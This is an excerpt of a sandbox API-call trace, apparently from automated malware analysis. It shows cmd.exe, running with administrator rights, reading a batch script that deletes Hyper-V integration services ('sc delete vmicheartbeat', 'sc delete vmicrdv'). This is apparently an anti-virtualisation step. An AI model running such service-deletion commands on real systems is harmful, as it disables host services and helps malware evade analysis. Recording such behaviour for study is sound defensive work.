lpDistanceToMoveHigh=0x0) returned 0x0 [0063.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicheartbeat\nface\n") returned 1 [0063.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmicheartbeat\nface\n") returned 1 [0063.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmicheartbeat\nface\n") returned 1 [0063.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicheartbeat\nface\n") returned 1 [0063.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicheartbeat\nface\n") returned 1 [0063.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmicheartbeat\nface\n") returned 1 [0063.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.344] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.344] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmicheartbeat\nface\n") returned 1 [0063.344] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.344] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.344] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmicheartbeat\nface\n") returned 1 [0063.344] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.344] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.344] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="vmicheartbeat\nface\n") returned 1 [0063.344] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.344] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.344] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="micheartbeat\nface\n") returned 1 [0063.345] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.345] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.345] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="icheartbeat\nface\n") returned 1 [0063.345] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.345] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.345] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="cheartbeat\nface\n") returned 1 [0063.345] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.345] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.345] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="reartbeat\nface\n") returned 1 [0063.345] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.345] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.345] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="dartbeat\nface\n") returned 1 [0063.345] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.345] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.346] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="vrtbeat\nface\n") returned 1 [0063.346] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.346] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.346] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="\ntbeat\nface\n") returned 1 [0063.346] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.346] GetFileType (hFile=0xb8) returned 0x3 [0063.346] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.346] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.346] GetFileType (hFile=0x120) returned 0x3 [0063.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicrdv\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicrdv\n", lpUsedDefaultChar=0x0) returned 19 [0063.346] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x12, lpOverlapped=0x0) returned 1 [0063.346] GetProcessHeap () returned 0x1b0000 [0063.346] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1cfb10 [0063.346] GetProcessHeap () returned 0x1b0000 [0063.346] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cfb10 | out: hHeap=0x1b0000) returned 1 [0063.346] GetProcessHeap () returned 0x1b0000 [0063.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0063.347] GetProcessHeap () returned 0x1b0000 [0063.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c8900 [0063.347] GetProcessHeap () returned 0x1b0000 [0063.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6510 [0063.347] GetConsoleOutputCP () returned 0x1b5 [0063.347] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.347] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.348] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.348] GetProcessHeap () returned 0x1b0000 [0063.348] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0063.348] GetProcessHeap () returned 0x1b0000 [0063.348] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6550 [0063.348] GetProcessHeap () returned 0x1b0000 [0063.348] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0063.348] SetErrorMode (uMode=0x0) returned 0x1 [0063.348] SetErrorMode (uMode=0x1) returned 0x0 [0063.348] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0063.348] SetErrorMode (uMode=0x1) returned 0x1 [0063.348] GetProcessHeap () returned 0x1b0000 [0063.348] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0063.349] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0063.349] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c9db0 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0063.349] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0063.349] GetProcessHeap () returned 0x1b0000 [0063.349] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0063.349] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.349] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.350] GetLastError () returned 0x2 [0063.350] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.350] GetLastError () returned 0x2 [0063.350] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.350] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.350] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.350] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0063.351] GetLastError () returned 0x2 [0063.351] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0063.351] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0063.351] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0063.351] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0063.351] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.351] GetProcessHeap () returned 0x1b0000 [0063.351] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1cc630 [0063.351] GetConsoleTitleW (in: lpConsoleTitle=0x1cc640, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0063.351] GetProcessHeap () returned 0x1b0000 [0063.351] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc630, Size=0x9c) returned 0x1cc630 [0063.352] GetProcessHeap () returned 0x1b0000 [0063.352] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc630) returned 0x9c [0063.352] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicrdv") returned 1 [0063.352] GetProcessHeap () returned 0x1b0000 [0063.352] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc630 | out: hHeap=0x1b0000) returned 1 [0063.352] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0063.352] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0063.352] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0063.352] GetProcessHeap () returned 0x1b0000 [0063.352] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0063.352] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0063.353] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.354] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0063.354] GetProcessHeap () returned 0x1b0000 [0063.354] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0063.354] GetProcessHeap () returned 0x1b0000 [0063.354] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c98a0 [0063.354] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicrdv", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicrdv", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmicrdv", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x6f0, dwThreadId=0x57c)) returned 1 [0063.358] CloseHandle (hObject=0x50) returned 1 [0063.358] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0063.358] GetProcessHeap () returned 0x1b0000 [0063.358] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0063.358] GetEnvironmentStringsW () returned 0x1cba10* [0063.358] GetProcessHeap () returned 0x1b0000 [0063.358] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1c8980 [0063.358] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.358] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0063.358] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0063.359] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0063.508] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0063.508] CloseHandle (hObject=0x54) returned 1 [0063.508] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0063.508] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0063.508] GetProcessHeap () returned 0x1b0000 [0063.508] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0063.508] GetEnvironmentStringsW () returned 0x1cba10* [0063.508] GetProcessHeap () returned 0x1b0000 [0063.508] RtlAllocateHeap 